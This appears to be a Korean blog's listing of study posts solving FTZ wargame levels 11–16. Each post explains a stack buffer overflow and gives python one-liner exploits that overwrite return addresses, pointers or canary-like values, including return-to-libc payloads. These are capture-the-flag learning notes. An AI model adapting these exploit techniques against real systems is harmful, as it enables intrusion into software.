본문 바로가기

Pwnable/▷ Study

(14)
ftz level16 (python -c 'print "A"*40 + "\xd0\x84\x04\x08"';cat) | ./attackmeshell 함수 주소를 printit 주소값 에 덮어씌워서 쉘을 따면 된다.
ftz level15 간단한 오버플로우지만 여기서 주의깊게 봐야할 점은 *check 포인터다.check 변수는 값대신 주소가 저장되어 있으므로 해당 주소로 가서 값을 불러온다.그렇기 때문에 check 포인터에는 0xdeadbeef 값이 들어있는 주소값을 덮어주어야한다.(python -c 'print "A"*40 + "\xb2\x84\x04\x08"';cat) | ./attackmex/20x main 보면 deadbeef 값이 0x80484b2 에 있는걸 확인했고 위와 같이 공격하였다.
ftz level14 어째 갑자기 급 쉬워진 분위기다. fgets로 45 만큼 입력받는데 정작 배열 크기는 20이다.디버깅해보면 0x38(56) 만큼 할당해주는데 deadbeef와 비교하는 부분은 ebp-16 부터다. ebp-56 이 입력받은 문자열 시작 지점이므로 (python -c 'print "A"*40 + "\xef\xbe\xad\xde"';cat) | ./attackme이런식으로 해주면된다.
ftz level13 ftz level13문제다 보면 buf위에 0x1234567 저장해놓고 만약 오버플로우로 이부분을 침범하면 경고를 표시하면서 프로그램을 종료시킨다. gdb로 디버깅 해보면 0x418(1048) 만큼 스택을 할당해주는데 구조를 보면str[1024] + garbage[12] + 0x01234567[4] + dummy[8] + sfp[4] + ret[4] 이렇게 저장되어있다.그렇다면 0x1234567 가 들어있는 주소에는 익스코드 자체에서 \x67\x45\x23\x01 넣어줌으로써 경고를 우회할 수있다../attackme `python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\xc0\xf2\x03\x42" + "AAAA" + "\xa4\x7e\x12\x42..
ftz level12 level11이랑 거의 똑같다. 이번엔 level11처럼 argv로 입력받는 방식이 아닌 gets로 입력받는다.gets에서 버퍼오버플로우가 터지므로 level11과 비슷하게 익스 짜주면 된다.해당 문제도 마찬가지로 str[256] + dummy[8] + sfp[4] + ret[4] 로 구성되어 있으므로 (python -c 'print "A"*268 + "\xc0\xf2\x03\x42" + "AAAA" + "\xa4\x7e\x12\x42"';cat) | ./attackme마찬가지로 ASLR 기법이 걸려있으므로 RTL 기법으로 문제를 풀었다.
ftz level11 리버싱 공부하다 슬럼프와서 흥미잃을바에 차라리 관심있었던 포너블을 조금만 열심히 해보려고 문제잡았다.일단 달고나 문서 보면서 개념 잡고 ftz같은 경우에는 1~10 까지는 풀어봤는데 생각보다 어렵지 않고 리눅스 명령어만 쏠쏠하게 얻어간 것 같다.ftz level11에서는 뭔가 많이 배운거같아서 블로그에 포스팅했다.일단 실행파일 디버깅 권한때문에 tmp파일로 복사하고 gdb로 디버깅했다. main 보면 sub esp, 0x108 (str 256byte + dummy 8byte) sub esp, 0x8 (sfp 4byte + ret 4byte)구조를 띄고있다.아래는 해당 문제를 맨 처음에 풀기 시작했을때 짰었던 시나리오다.1. strcpy 함수에서 오버플로우 발생2. str[256] + dummy[8] + ..